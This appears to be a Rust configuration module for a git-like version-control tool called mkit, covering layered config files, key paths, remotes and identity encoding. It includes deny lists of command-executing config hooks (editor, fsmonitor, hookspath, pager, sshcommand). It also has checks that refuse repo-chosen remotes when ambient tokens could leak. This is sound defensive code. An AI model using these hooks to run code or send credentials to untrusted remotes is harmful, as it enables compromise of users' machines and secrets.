1use mkit_core::layout::RepoLayout;
28use std::fmt::Write as _;
29use std::fs;
30use std::io;
31use std::io::Write as _;
32use std::path::{Path, PathBuf};
33
34use thiserror::Error;
35
36pub const CONFIG_FILE: &str = ".mkit/config";
37pub const USER_CONFIG_SUBPATH: &str = "mkit/config";
38pub const DEFAULT_SIGNING_KEY: &str = ".mkit/keys/default.key";
39pub const DEFAULT_BRANCH: &str = "main";
40pub const DEFAULT_SIGNER: &str = "legacy";
41pub const DEFAULT_KEY_BACKEND: &str = "software";
42pub const DEFAULT_KEY_REF: &str = "software:default";
43pub const DEFAULT_SECP256K1_KEY_REF: &str = "software:default-secp256k1";
44pub const DEFAULT_P256_KEY_REF: &str = "software:default-p256";
45
46pub const REPO_FORBIDDEN_KEYS: &[&str] = &[
71 "user.identity",
72 "trusted_remote_endpoint",
73 "signer",
74 "pull.require_signed",
75 "key.backend",
76 "key.default_ref",
77 "key.ed25519_ref",
78 "key.secp256k1_ref",
79 "key.p256_ref",
80 "signing_key",
81 "ssh.strict_host_key_checking",
82 "ssh.user_known_hosts_file",
83 "ssh.identity_file",
84 "attest.signer",
85 "attest.default_algorithm",
86 "attest.external_signer_path",
87 "attest.external_signer_args",
88 "attest.external_signer_timeout_secs",
89 "attest.secp256k1_key_path",
90 "attest.p256_key_path",
91];
92
93#[derive(Debug, Clone, Copy, PartialEq, Eq)]
97pub enum ConfigScope {
98 Repo,
99 User,
100}
101
102#[derive(Debug, Clone, Default, PartialEq, Eq)]
107pub struct Config {
108 pub user_identity: String,
111 pub user_name: String,
116 pub user_email: String,
119 pub trusted_remote_endpoint: String,
122 pub signing_key: String,
123 pub default_branch: String,
124 pub remote_endpoint: String,
125 pub remote_bucket: String,
126 pub remote_type: String,
127 pub ssh_strict_host_key_checking: String,
128 pub ssh_user_known_hosts_file: String,
129 pub ssh_identity_file: String,
130 pub transport_auth: String,
147 pub signer: String,
149 pub pull_require_signed: String,
159 pub key: KeyConfig,
161 pub attest: AttestConfig,
164 pub remotes: std::collections::BTreeMap<String, RemoteEntry>,
169 pub branch_upstreams: std::collections::BTreeMap<String, Upstream>,
172 pub durability_objects: String,
179 pub core: std::collections::BTreeMap<String, String>,
185}
186
187pub const CORE_ALLOWED_KEYS: &[&str] = &[
191 "autocrlf",
192 "bare",
193 "filemode",
194 "ignorecase",
195 "quotepath",
196 "symlinks",
197];
198
199pub const CORE_DENIED_KEYS: &[&str] = &["editor", "fsmonitor", "hookspath", "pager", "sshcommand"];
203
204#[derive(Debug, Clone, Default, PartialEq, Eq)]
207pub struct RemoteEntry {
208 pub url: String,
209 pub remote_type: String,
210}
211
212#[derive(Debug, Clone, Default, PartialEq, Eq)]
216pub struct Upstream {
217 pub remote: String,
218 pub branch: String,
219}
220
221#[derive(Debug, Clone, Default, PartialEq, Eq)]
223pub struct KeyConfig {
224 pub backend: String,
226 pub default_ref: String,
228 pub ed25519_ref: String,
230 pub secp256k1_ref: String,
232 pub p256_ref: String,
234}
235
236impl KeyConfig {
237 #[must_use]
238 pub fn backend_or_fallback(&self) -> &str {
239 if self.backend.is_empty() {
240 DEFAULT_KEY_BACKEND
241 } else {
242 self.backend.as_str()
243 }
244 }
245
246 #[must_use]
247 pub fn default_ref_or_fallback(&self) -> &str {
248 if self.default_ref.is_empty() {
249 DEFAULT_KEY_REF
250 } else {
251 self.default_ref.as_str()
252 }
253 }
254
255 #[must_use]
256 pub fn ed25519_ref_or_fallback(&self) -> &str {
257 if self.ed25519_ref.is_empty() {
258 self.default_ref_or_fallback()
259 } else {
260 self.ed25519_ref.as_str()
261 }
262 }
263
264 #[must_use]
265 pub fn secp256k1_ref_or_fallback(&self) -> &str {
266 if self.secp256k1_ref.is_empty() {
267 if self.default_ref.is_empty() {
268 DEFAULT_SECP256K1_KEY_REF
269 } else {
270 self.default_ref.as_str()
271 }
272 } else {
273 self.secp256k1_ref.as_str()
274 }
275 }
276
277 #[must_use]
278 pub fn p256_ref_or_fallback(&self) -> &str {
279 if self.p256_ref.is_empty() {
280 if self.default_ref.is_empty() {
281 DEFAULT_P256_KEY_REF
282 } else {
283 self.default_ref.as_str()
284 }
285 } else {
286 self.p256_ref.as_str()
287 }
288 }
289}
290
291#[derive(Debug, Clone, Default, PartialEq, Eq)]
295pub struct LayeredConfig {
296 pub merged: Config,
297 pub user: Config,
298 pub repo: Config,
299}
300
301#[derive(Debug, Clone, Default, PartialEq, Eq)]
304pub struct AttestConfig {
305 pub default_algorithm: String,
307 pub signer: String,
309 pub external_signer_path: String,
312 pub external_signer_args: Vec<String>,
318 pub external_signer_timeout_secs: Option<u64>,
326 pub secp256k1_key_path: String,
329 pub p256_key_path: String,
330}
331
332impl AttestConfig {
333 #[must_use]
334 pub fn default_algorithm_or_fallback(&self) -> &str {
335 if self.default_algorithm.is_empty() {
336 "ed25519"
337 } else {
338 self.default_algorithm.as_str()
339 }
340 }
341
342 #[must_use]
343 pub fn signer_or_fallback(&self) -> &str {
344 if self.signer.is_empty() {
345 "repo-key"
346 } else {
347 self.signer.as_str()
348 }
349 }
350
351 #[must_use]
352 pub fn secp256k1_key_path_or_default(&self) -> &str {
353 if self.secp256k1_key_path.is_empty() {
354 ".mkit/keys/secp256k1.key"
355 } else {
356 self.secp256k1_key_path.as_str()
357 }
358 }
359
360 #[must_use]
361 pub fn p256_key_path_or_default(&self) -> &str {
362 if self.p256_key_path.is_empty() {
363 ".mkit/keys/p256.key"
364 } else {
365 self.p256_key_path.as_str()
366 }
367 }
368}
369
370impl Config {
371 #[must_use]
373 pub fn with_defaults() -> Self {
374 Self {
375 signing_key: DEFAULT_SIGNING_KEY.to_owned(),
376 default_branch: DEFAULT_BRANCH.to_owned(),
377 signer: DEFAULT_SIGNER.to_owned(),
378 key: KeyConfig {
379 backend: DEFAULT_KEY_BACKEND.to_owned(),
380 default_ref: String::new(),
381 ed25519_ref: String::new(),
382 secp256k1_ref: String::new(),
383 p256_ref: String::new(),
384 },
385 ..Self::default()
386 }
387 }
388}
389
390#[derive(Debug, Error)]
391pub enum ConfigError {
392 #[error("I/O: {0}")]
393 Io(#[from] io::Error),
394 #[error("invalid config value — control characters are not permitted")]
395 InvalidValue,
396 #[error("unknown config key: {0}")]
397 UnknownKey(String),
398 #[error("invalid user.identity: {0}")]
399 InvalidUserIdentity(&'static str),
400 #[error(
401 "key path must not contain `..`; relative paths must stay under `.mkit/keys/` and absolute paths must stay under `$HOME`: {0}"
402 )]
403 InvalidKeyPath(String),
404}
405
406impl Config {
410 #[must_use]
414 pub fn object_sync_policy(&self) -> mkit_core::store::SyncPolicy {
415 match self.durability_objects.trim() {
416 "per-object" | "per_object" => mkit_core::store::SyncPolicy::PerObject,
417 _ => mkit_core::store::SyncPolicy::Batch,
418 }
419 }
420
421 #[must_use]
428 pub fn pull_require_signed_or_default(&self) -> bool {
429 !matches!(
430 self.pull_require_signed
431 .trim()
432 .to_ascii_lowercase()
433 .as_str(),
434 "false" | "0" | "no" | "off"
435 )
436 }
437
438 #[must_use]
442 pub fn transport_auth_envelope(&self) -> bool {
443 self.transport_auth.trim().eq_ignore_ascii_case("envelope")
444 }
445}
446
447pub fn validate_key_path(value: &str) -> Result<(), ConfigError> {
448 if value.is_empty() {
449 return Ok(());
450 }
451 let p = Path::new(value);
452 for comp in p.components() {
453 if matches!(comp, std::path::Component::ParentDir) {
454 return Err(ConfigError::InvalidKeyPath(value.to_owned()));
455 }
456 }
457 Ok(())
458}
459
460pub fn resolve_key_path(layout: &RepoLayout, value: &str) -> Result<PathBuf, ConfigError> {
469 validate_key_path(value)?;
470 let path = Path::new(value);
471 if path.is_absolute() {
472 let Some(home) = home_dir_for_euid() else {
473 return Err(ConfigError::InvalidKeyPath(value.to_owned()));
474 };
475 return if path.starts_with(&home) {
476 Ok(path.to_path_buf())
477 } else {
478 Err(ConfigError::InvalidKeyPath(value.to_owned()))
479 };
480 }
481
482 let Ok(under_mkit) = path.strip_prefix(mkit_core::MKIT_DIR) else {
489 return Err(ConfigError::InvalidKeyPath(value.to_owned()));
490 };
491 let joined = layout.common_dir().join(under_mkit);
492 let repo_keys = layout.keys_dir();
493 if !joined.starts_with(&repo_keys) {
494 return Err(ConfigError::InvalidKeyPath(value.to_owned()));
495 }
496 Ok(joined)
497}
498
499#[cfg(unix)]
510#[must_use]
511pub fn home_dir_for_euid() -> Option<PathBuf> {
512 use std::ffi::CStr;
513 use std::os::unix::ffi::OsStringExt;
514
515 #[allow(unsafe_code)]
531 let pw_dir_owned = unsafe {
532 let mut buf = [0i8; 4096];
533 let mut pwd: libc::passwd = std::mem::zeroed();
534 let mut result: *mut libc::passwd = std::ptr::null_mut();
535 let rc = libc::getpwuid_r(
536 libc::geteuid(),
537 std::ptr::addr_of_mut!(pwd),
538 buf.as_mut_ptr().cast::<libc::c_char>(),
539 buf.len(),
540 std::ptr::addr_of_mut!(result),
541 );
542 if rc != 0 || result.is_null() || pwd.pw_dir.is_null() {
543 None
544 } else {
545 Some(CStr::from_ptr(pwd.pw_dir).to_bytes().to_vec())
548 }
549 };
550 let bytes = pw_dir_owned?;
551 if bytes.is_empty() {
552 return None;
553 }
554 Some(PathBuf::from(std::ffi::OsString::from_vec(bytes)))
555}
556
557#[cfg(not(unix))]
558#[must_use]
559pub fn home_dir_for_euid() -> Option<PathBuf> {
560 std::env::var_os("USERPROFILE").map(PathBuf::from)
566}
567
568#[must_use]
570pub fn parse_pipe_list(s: &str) -> Vec<String> {
571 if s.is_empty() {
572 return Vec::new();
573 }
574 s.split('|').map(str::to_owned).collect()
575}
576
577pub fn validate_value(v: &str) -> Result<(), ConfigError> {
580 for b in v.bytes() {
581 if b < 0x20 || b == 0x7f {
582 return Err(ConfigError::InvalidValue);
583 }
584 }
585 Ok(())
586}
587
588#[must_use]
592pub fn user_config_path() -> PathBuf {
593 xdg_config_home().join(USER_CONFIG_SUBPATH)
594}
595
596pub fn read_or_default(layout: &RepoLayout) -> Result<Config, ConfigError> {
603 let mut cfg = Config::with_defaults();
604 apply_file(&mut cfg, &user_config_path(), ConfigScope::User)?;
605 apply_file(&mut cfg, &layout.config_file(), ConfigScope::Repo)?;
606 apply_cli_overrides(&mut cfg);
610 Ok(cfg)
611}
612
613pub fn read_layered(layout: &RepoLayout) -> Result<LayeredConfig, ConfigError> {
615 let mut merged = Config::with_defaults();
616 let user_path = user_config_path();
617 let repo_path = layout.config_file();
618 apply_file_inner(&mut merged, &user_path, ConfigScope::User, true)?;
619 apply_file_inner(&mut merged, &repo_path, ConfigScope::Repo, true)?;
620 apply_cli_overrides(&mut merged);
628
629 let mut user = Config::default();
630 apply_file_inner(&mut user, &user_path, ConfigScope::User, false)?;
631
632 let mut repo = Config::default();
633 apply_file_inner(&mut repo, &repo_path, ConfigScope::Repo, false)?;
634
635 Ok(LayeredConfig { merged, user, repo })
636}
637
638static CLI_OVERRIDES: std::sync::OnceLock<std::sync::Mutex<Vec<(String, String)>>> =
641 std::sync::OnceLock::new();
642
643pub fn set_cli_overrides(overrides: Vec<(String, String)>) {
647 let slot = CLI_OVERRIDES.get_or_init(|| std::sync::Mutex::new(Vec::new()));
648 if let Ok(mut guard) = slot.lock() {
649 *guard = overrides;
650 }
651}
652
653fn apply_cli_overrides(cfg: &mut Config) {
656 let Some(slot) = CLI_OVERRIDES.get() else {
657 return;
658 };
659 let Ok(overrides) = slot.lock() else {
660 return;
661 };
662 for (raw_key, val) in overrides.iter() {
663 let key = normalize_config_key(raw_key.trim());
664 if REPO_FORBIDDEN_KEYS.contains(&key.as_str()) {
665 let mut stderr = io::stderr().lock();
666 let _ = writeln!(
667 stderr,
668 "warning: ignoring `-c {key}=…` (security-sensitive keys cannot be set via -c; \
669 set it in your user config — see docs/THREAT-MODEL.md)"
670 );
671 continue;
672 }
673 if validate_value(val.trim()).is_err() {
676 let mut stderr = io::stderr().lock();
677 let _ = writeln!(
678 stderr,
679 "warning: ignoring `-c {key}=…` (value contains control characters)"
680 );
681 continue;
682 }
683 apply_kv(cfg, &key, val.trim());
684 }
685}
686
687pub(crate) fn apply_file(
694 cfg: &mut Config,
695 path: &Path,
696 scope: ConfigScope,
697) -> Result<(), ConfigError> {
698 apply_file_inner(cfg, path, scope, true)
699}
700
701fn apply_file_inner(
702 cfg: &mut Config,
703 path: &Path,
704 scope: ConfigScope,
705 warn_on_forbidden: bool,
706) -> Result<(), ConfigError> {
707 let text = match fs::read_to_string(path) {
708 Ok(s) => s,
709 Err(e) if e.kind() == io::ErrorKind::NotFound => return Ok(()),
710 Err(e) => return Err(e.into()),
711 };
712 for raw_line in text.lines() {
713 let line = raw_line.trim();
714 if line.is_empty() || line.starts_with('#') {
715 continue;
716 }
717 let Some((k, v)) = line.split_once('=') else {
718 continue;
719 };
720 let key = normalize_config_key(k.trim());
728 let key = key.as_str();
729 let val = v.trim();
730 if scope == ConfigScope::Repo && REPO_FORBIDDEN_KEYS.contains(&key) {
731 if warn_on_forbidden {
732 warn_forbidden_repo_key(path, key);
733 }
734 continue;
735 }
736 apply_kv(cfg, key, val);
737 }
738 Ok(())
739}
740
741fn warn_forbidden_repo_key(path: &Path, key: &str) {
742 let mut stderr = io::stderr().lock();
743 let _ = writeln!(
744 stderr,
745 "warning: ignoring `{key}` from per-repo config at {} \
746 (security-sensitive keys are user-scoped only — see {} \
747 and docs/THREAT-MODEL.md)",
748 path.display(),
749 user_config_path().display()
750 );
751}
752
753fn apply_kv(cfg: &mut Config, key: &str, val: &str) {
756 if let Some(suffix) = core_allowed_suffix(key) {
759 cfg.core.insert(suffix, val.to_string());
760 return;
761 }
762 match key {
763 "user.identity" => val.clone_into(&mut cfg.user_identity),
764 "user.name" => val.clone_into(&mut cfg.user_name),
767 "user.email" => val.clone_into(&mut cfg.user_email),
768 "trusted_remote_endpoint" => val.clone_into(&mut cfg.trusted_remote_endpoint),
769 "signer" => val.clone_into(&mut cfg.signer),
770 "pull.require_signed" => val.clone_into(&mut cfg.pull_require_signed),
771 "key.backend" => val.clone_into(&mut cfg.key.backend),
772 "key.default_ref" => val.clone_into(&mut cfg.key.default_ref),
773 "key.ed25519_ref" => val.clone_into(&mut cfg.key.ed25519_ref),
774 "key.secp256k1_ref" => val.clone_into(&mut cfg.key.secp256k1_ref),
775 "key.p256_ref" => val.clone_into(&mut cfg.key.p256_ref),
776 "signing_key" => val.clone_into(&mut cfg.signing_key),
777 "default_branch" => val.clone_into(&mut cfg.default_branch),
778 "durability.objects" => val.clone_into(&mut cfg.durability_objects),
779 "remote_endpoint" => val.clone_into(&mut cfg.remote_endpoint),
780 "remote_bucket" => val.clone_into(&mut cfg.remote_bucket),
781 "remote_type" => val.clone_into(&mut cfg.remote_type),
782 "ssh.strict_host_key_checking" => val.clone_into(&mut cfg.ssh_strict_host_key_checking),
783 "ssh.user_known_hosts_file" => val.clone_into(&mut cfg.ssh_user_known_hosts_file),
784 "ssh.identity_file" => val.clone_into(&mut cfg.ssh_identity_file),
785 "transport_auth" => val.clone_into(&mut cfg.transport_auth),
786 "attest.default_algorithm" => val.clone_into(&mut cfg.attest.default_algorithm),
787 "attest.signer" => val.clone_into(&mut cfg.attest.signer),
788 "attest.external_signer_path" => val.clone_into(&mut cfg.attest.external_signer_path),
789 "attest.external_signer_args" => {
790 cfg.attest.external_signer_args = parse_pipe_list(val);
791 }
792 "attest.external_signer_timeout_secs" => {
793 cfg.attest.external_signer_timeout_secs = val.trim().parse::<u64>().ok();
797 }
798 "attest.secp256k1_key_path" => val.clone_into(&mut cfg.attest.secp256k1_key_path),
799 "attest.p256_key_path" => val.clone_into(&mut cfg.attest.p256_key_path),
800 _ if apply_section_kv(cfg, key, val) => {}
806 "author_mid" | "project_id" | "network" => {}
808 _ if key.ends_with("_url") => {}
809 _ => {} }
811}
812
813#[must_use]
816pub fn is_core_section(key: &str) -> bool {
817 key.split_once('.')
818 .is_some_and(|(section, _)| section.eq_ignore_ascii_case("core"))
819}
820
821#[must_use]
825pub fn core_allowed_suffix(key: &str) -> Option<String> {
826 let (section, name) = key.split_once('.')?;
827 if !section.eq_ignore_ascii_case("core") {
828 return None;
829 }
830 let suffix = name.to_ascii_lowercase();
831 CORE_ALLOWED_KEYS
832 .contains(&suffix.as_str())
833 .then_some(suffix)
834}
835
836#[must_use]
846pub fn normalize_config_key(key: &str) -> String {
847 match key.split_once('.') {
853 Some((section, rest)) => match rest.rsplit_once('.') {
854 Some((subsection, variable)) => format!(
855 "{}.{subsection}.{}",
856 section.to_ascii_lowercase(),
857 variable.to_ascii_lowercase()
858 ),
859 None => format!(
860 "{}.{}",
861 section.to_ascii_lowercase(),
862 rest.to_ascii_lowercase()
863 ),
864 },
865 None => key.to_ascii_lowercase(),
866 }
867}
868
869fn apply_section_kv(cfg: &mut Config, key: &str, val: &str) -> bool {
874 let mut parts = key.splitn(3, '.');
875 let (Some(section), Some(name), Some(field)) = (parts.next(), parts.next(), parts.next())
876 else {
877 return false;
878 };
879 let valid_name = !name.is_empty() && mkit_core::refs::validate_ref_name(name);
881 match (section, field) {
882 ("remote", "url") => {
883 if valid_name {
884 val.clone_into(&mut cfg.remotes.entry(name.to_owned()).or_default().url);
885 }
886 true
887 }
888 ("remote", "type") => {
889 if valid_name {
890 val.clone_into(&mut cfg.remotes.entry(name.to_owned()).or_default().remote_type);
891 }
892 true
893 }
894 ("branch", "remote") => {
895 if valid_name {
896 val.clone_into(
897 &mut cfg
898 .branch_upstreams
899 .entry(name.to_owned())
900 .or_default()
901 .remote,
902 );
903 }
904 true
905 }
906 ("branch", "merge") => {
907 if valid_name {
908 val.clone_into(
909 &mut cfg
910 .branch_upstreams
911 .entry(name.to_owned())
912 .or_default()
913 .branch,
914 );
915 }
916 true
917 }
918 _ => false,
919 }
920}
921
922pub fn write(layout: &RepoLayout, cfg: &Config) -> Result<(), ConfigError> {
935 let path = layout.config_file();
936 if let Some(parent) = path.parent() {
937 fs::create_dir_all(parent)?;
938 }
939 let mut out = String::new();
946 for (k, v) in [
947 ("user.name", cfg.user_name.as_str()),
950 ("user.email", cfg.user_email.as_str()),
951 ("default_branch", cfg.default_branch.as_str()),
952 ("durability.objects", cfg.durability_objects.as_str()),
953 ("remote_endpoint", cfg.remote_endpoint.as_str()),
954 ("remote_bucket", cfg.remote_bucket.as_str()),
955 ("remote_type", cfg.remote_type.as_str()),
956 ("transport_auth", cfg.transport_auth.as_str()),
957 ] {
958 if !v.is_empty() {
959 out.push_str(k);
960 out.push_str(" = ");
961 out.push_str(v);
962 out.push('\n');
963 }
964 }
965 for (name, entry) in &cfg.remotes {
969 if !entry.url.is_empty() {
970 let _ = writeln!(out, "remote.{name}.url = {}", entry.url);
971 }
972 if !entry.remote_type.is_empty() {
973 let _ = writeln!(out, "remote.{name}.type = {}", entry.remote_type);
974 }
975 }
976 for (branch, up) in &cfg.branch_upstreams {
978 if !up.remote.is_empty() {
979 let _ = writeln!(out, "branch.{branch}.remote = {}", up.remote);
980 }
981 if !up.branch.is_empty() {
982 let _ = writeln!(out, "branch.{branch}.merge = {}", up.branch);
983 }
984 }
985 for (k, v) in &cfg.core {
987 let _ = writeln!(out, "core.{k} = {v}");
988 }
989 let dir = path.parent().unwrap_or_else(|| Path::new("."));
995 let mut tmp = tempfile::Builder::new()
996 .prefix(".config.")
997 .tempfile_in(dir)?;
998 tmp.write_all(out.as_bytes())?;
999 tmp.flush()?;
1000 tmp.persist(&path).map_err(|e| ConfigError::Io(e.error))?;
1001 Ok(())
1002}
1003
1004pub const DEFAULT_REMOTE_NAME: &str = "default";
1007
1008#[derive(Debug, Clone, PartialEq, Eq)]
1012pub struct ResolvedRemote {
1013 pub name: String,
1014 pub endpoint: String,
1015 pub repo_chosen: bool,
1016}
1017
1018#[must_use]
1028pub fn resolve_remote(cfg: &LayeredConfig, name: &str) -> Option<ResolvedRemote> {
1029 let name = if name.is_empty() {
1030 DEFAULT_REMOTE_NAME
1031 } else {
1032 name
1033 };
1034 if name == DEFAULT_REMOTE_NAME && !cfg.merged.remote_endpoint.trim().is_empty() {
1035 let endpoint = cfg.merged.remote_endpoint.trim().to_owned();
1036 let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
1037 return Some(ResolvedRemote {
1038 name: DEFAULT_REMOTE_NAME.to_owned(),
1039 endpoint,
1040 repo_chosen,
1041 });
1042 }
1043 let entry = cfg.merged.remotes.get(name)?;
1044 let endpoint = entry.url.trim();
1045 if endpoint.is_empty() {
1046 return None;
1047 }
1048 let repo_chosen = cfg
1049 .repo
1050 .remotes
1051 .get(name)
1052 .is_some_and(|e| e.url.trim() == endpoint);
1053 Some(ResolvedRemote {
1054 name: name.to_owned(),
1055 endpoint: endpoint.to_owned(),
1056 repo_chosen,
1057 })
1058}
1059
1060#[must_use]
1068pub fn configured_remote_names(cfg: &LayeredConfig) -> Vec<String> {
1069 let mut names: std::collections::BTreeSet<String> =
1070 cfg.merged.remotes.keys().cloned().collect();
1071 if !cfg.merged.remote_endpoint.trim().is_empty() {
1072 names.insert(DEFAULT_REMOTE_NAME.to_owned());
1073 }
1074 names.into_iter().collect()
1075}
1076
1077#[must_use]
1082pub fn resolve_upstream(cfg: &LayeredConfig, branch: &str) -> Option<Upstream> {
1083 if let Some(up) = cfg.merged.branch_upstreams.get(branch)
1084 && !up.remote.is_empty()
1085 && !up.branch.is_empty()
1086 {
1087 return Some(up.clone());
1088 }
1089 if !cfg.merged.remote_endpoint.trim().is_empty() {
1093 return Some(Upstream {
1094 remote: DEFAULT_REMOTE_NAME.to_owned(),
1095 branch: branch.to_owned(),
1096 });
1097 }
1098 None
1099}
1100
1101fn real_getenv(name: &str) -> Option<String> {
1104 std::env::var(name).ok().filter(|value| !value.is_empty())
1105}
1106
1107pub fn enforce_trusted_remote_endpoint(cfg: &LayeredConfig) -> Result<(), String> {
1118 let endpoint = cfg.merged.remote_endpoint.trim();
1119 let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
1120 match trusted_remote_error_for(
1121 endpoint,
1122 repo_chosen,
1123 cfg.user.trusted_remote_endpoint.trim(),
1124 &real_getenv,
1125 ) {
1126 Some(msg) => Err(msg),
1127 None => Ok(()),
1128 }
1129}
1130
1131pub fn endpoint_credential_trust(
1139 cfg: &LayeredConfig,
1140 endpoint: &str,
1141 repo_chosen: bool,
1142) -> Result<(), String> {
1143 match trusted_remote_error_for(
1144 endpoint.trim(),
1145 repo_chosen,
1146 cfg.user.trusted_remote_endpoint.trim(),
1147 &real_getenv,
1148 ) {
1149 Some(msg) => Err(msg),
1150 None => Ok(()),
1151 }
1152}
1153
1154fn trusted_remote_error_for<F>(
1166 endpoint: &str,
1167 repo_chosen: bool,
1168 user_trusted: &str,
1169 getenv: &F,
1170) -> Option<String>
1171where
1172 F: Fn(&str) -> Option<String>,
1173{
1174 if endpoint.is_empty() || !repo_chosen {
1175 return None;
1176 }
1177 if user_trusted == endpoint {
1178 return None;
1179 }
1180
1181 if endpoint.starts_with("mkit+http://") || endpoint.starts_with("mkit+https://") {
1182 if getenv(mkit_transport_http::TOKEN_ENV).is_some() {
1183 return Some(format!(
1184 "refusing repo-configured remote `{endpoint}` with ambient {} bearer token; trust it explicitly with `mkit config trusted_remote_endpoint {endpoint}` (writes {})",
1185 mkit_transport_http::TOKEN_ENV,
1186 user_config_path().display()
1187 ));
1188 }
1189 return None;
1190 }
1191
1192 if endpoint.starts_with("mkit+s3://")
1193 && (getenv(mkit_transport_s3::ENV_ACCESS_KEY).is_some()
1194 || getenv(mkit_transport_s3::ENV_SECRET_KEY).is_some())
1195 {
1196 return Some(format!(
1197 "refusing repo-configured remote `{endpoint}` with ambient S3/R2 credentials; trust it explicitly with `mkit config trusted_remote_endpoint {endpoint}` (writes {})",
1198 user_config_path().display()
1199 ));
1200 }
1201
1202 None
1203}
1204
1205pub fn write_user_kv(key: &str, value: &str) -> Result<(), ConfigError> {
1210 let key = normalize_config_key(key);
1213 let key = key.as_str();
1214 let path = user_config_path();
1215 if let Some(parent) = path.parent() {
1216 fs::create_dir_all(parent)?;
1217 }
1218 let existing = fs::read_to_string(&path).unwrap_or_default();
1219 let mut out = String::new();
1220 let mut replaced = false;
1221 for raw_line in existing.lines() {
1222 let line = raw_line.trim();
1223 if line.is_empty() || line.starts_with('#') {
1224 out.push_str(raw_line);
1225 out.push('\n');
1226 continue;
1227 }
1228 if let Some((k, _)) = line.split_once('=')
1233 && normalize_config_key(k.trim()) == key
1234 {
1235 out.push_str(key);
1236 out.push_str(" = ");
1237 out.push_str(value);
1238 out.push('\n');
1239 replaced = true;
1240 continue;
1241 }
1242 out.push_str(raw_line);
1243 out.push('\n');
1244 }
1245 if !replaced {
1246 out.push_str(key);
1247 out.push_str(" = ");
1248 out.push_str(value);
1249 out.push('\n');
1250 }
1251 write_atomic_user_config(&path, out.as_bytes())?;
1255 Ok(())
1256}
1257
1258pub fn remove_user_kv(key: &str) -> Result<bool, ConfigError> {
1265 let key = normalize_config_key(key);
1266 let key = key.as_str();
1267 let path = user_config_path();
1268 let existing = match fs::read_to_string(&path) {
1269 Ok(s) => s,
1270 Err(e) if e.kind() == io::ErrorKind::NotFound => return Ok(false),
1271 Err(e) => return Err(ConfigError::Io(e)),
1272 };
1273 let mut out = String::new();
1274 let mut removed = false;
1275 for raw_line in existing.lines() {
1276 let line = raw_line.trim();
1277 if line.is_empty() || line.starts_with('#') {
1278 out.push_str(raw_line);
1279 out.push('\n');
1280 continue;
1281 }
1282 if let Some((k, _)) = line.split_once('=')
1283 && normalize_config_key(k.trim()) == key
1284 {
1285 removed = true;
1286 continue;
1287 }
1288 out.push_str(raw_line);
1289 out.push('\n');
1290 }
1291 if removed {
1292 write_atomic_user_config(&path, out.as_bytes())?;
1293 }
1294 Ok(removed)
1295}
1296
1297fn write_atomic_user_config(path: &Path, bytes: &[u8]) -> Result<(), ConfigError> {
1301 use tempfile::NamedTempFile;
1302 let parent = path.parent().ok_or(ConfigError::Io(io::Error::new(
1303 io::ErrorKind::InvalidInput,
1304 "user config path has no parent",
1305 )))?;
1306 let mut tmp = NamedTempFile::new_in(parent)?;
1307 tmp.as_file_mut().write_all(bytes)?;
1308 tmp.as_file_mut().sync_all()?;
1309 tmp.persist(path).map_err(|e| ConfigError::Io(e.error))?;
1310 Ok(())
1311}
1312
1313pub fn expand_user_identity(value: &str) -> Result<String, ConfigError> {
1316 if value.is_empty() {
1317 return Err(ConfigError::InvalidUserIdentity("empty value"));
1318 }
1319 if let Some(hex) = value.strip_prefix("ed25519:") {
1320 if hex.len() != 64 {
1321 return Err(ConfigError::InvalidUserIdentity(
1322 "ed25519:<hex> must have 64 hex chars",
1323 ));
1324 }
1325 let bytes =
1326 hex_decode(hex).ok_or(ConfigError::InvalidUserIdentity("ed25519 hex is not valid"))?;
1327 return Ok(encode_identity_hex(0x01, &bytes));
1328 }
1329 if let Some(dec) = value.strip_prefix("mid:") {
1330 let mid: u64 = dec
1331 .parse()
1332 .map_err(|_| ConfigError::InvalidUserIdentity("mid must be a decimal u64"))?;
1333 return Ok(encode_identity_hex(0x03, &mid.to_le_bytes()));
1334 }
1335 if !value.len().is_multiple_of(2) || value.len() < 6 {
1336 return Err(ConfigError::InvalidUserIdentity(
1337 "raw hex is too short or has odd length",
1338 ));
1339 }
1340 let bytes = hex_decode(value).ok_or(ConfigError::InvalidUserIdentity(
1341 "raw value is not valid hex",
1342 ))?;
1343 let declared = u16::from(bytes[1]) | (u16::from(bytes[2]) << 8);
1344 if bytes.len() != usize::from(declared) + 3 {
1345 return Err(ConfigError::InvalidUserIdentity(
1346 "declared length does not match payload length",
1347 ));
1348 }
1349 Ok(value.to_owned())
1350}
1351
1352fn encode_identity_hex(kind: u8, bytes: &[u8]) -> String {
1353 let len = u16::try_from(bytes.len()).unwrap_or(u16::MAX);
1354 let mut buf = Vec::with_capacity(3 + bytes.len());
1355 buf.push(kind);
1356 buf.extend_from_slice(&len.to_le_bytes());
1357 buf.extend_from_slice(bytes);
1358 hex_encode(&buf)
1359}
1360
1361fn hex_encode(bytes: &[u8]) -> String {
1362 static H: &[u8; 16] = b"0123456789abcdef";
1363 let mut s = String::with_capacity(bytes.len() * 2);
1364 for b in bytes {
1365 s.push(H[(b >> 4) as usize] as char);
1366 s.push(H[(b & 0x0F) as usize] as char);
1367 }
1368 s
1369}
1370
1371fn hex_decode(s: &str) -> Option<Vec<u8>> {
1372 if !s.len().is_multiple_of(2) {
1373 return None;
1374 }
1375 let mut out = Vec::with_capacity(s.len() / 2);
1376 let b = s.as_bytes();
1377 for i in (0..b.len()).step_by(2) {
1378 let hi = nibble(b[i])?;
1379 let lo = nibble(b[i + 1])?;
1380 out.push((hi << 4) | lo);
1381 }
1382 Some(out)
1383}
1384
1385fn nibble(c: u8) -> Option<u8> {
1386 Some(match c {
1387 b'0'..=b'9' => c - b'0',
1388 b'a'..=b'f' => 10 + c - b'a',
1389 b'A'..=b'F' => 10 + c - b'A',
1390 _ => return None,
1391 })
1392}
1393
1394fn xdg(var: &str, fallback_under_home: &str) -> PathBuf {
1396 if let Some(v) = std::env::var_os(var)
1397 && !v.is_empty()
1398 {
1399 return PathBuf::from(v);
1400 }
1401 if let Some(home) = std::env::var_os("HOME") {
1402 return PathBuf::from(home).join(fallback_under_home);
1403 }
1404 PathBuf::from(".")
1405}
1406
1407#[must_use]
1408pub fn xdg_config_home() -> PathBuf {
1409 xdg("XDG_CONFIG_HOME", ".config")
1410}
1411
1412#[cfg(test)]
1413mod tests {
1414 use super::*;
1415 use mkit_core::layout::RepoLayout;
1416 use tempfile::TempDir;
1417
1418 #[test]
1419 fn normalize_config_key_casing() {
1420 assert_eq!(normalize_config_key("User.Name"), "user.name");
1422 assert_eq!(normalize_config_key("Core.AutoCRLF"), "core.autocrlf");
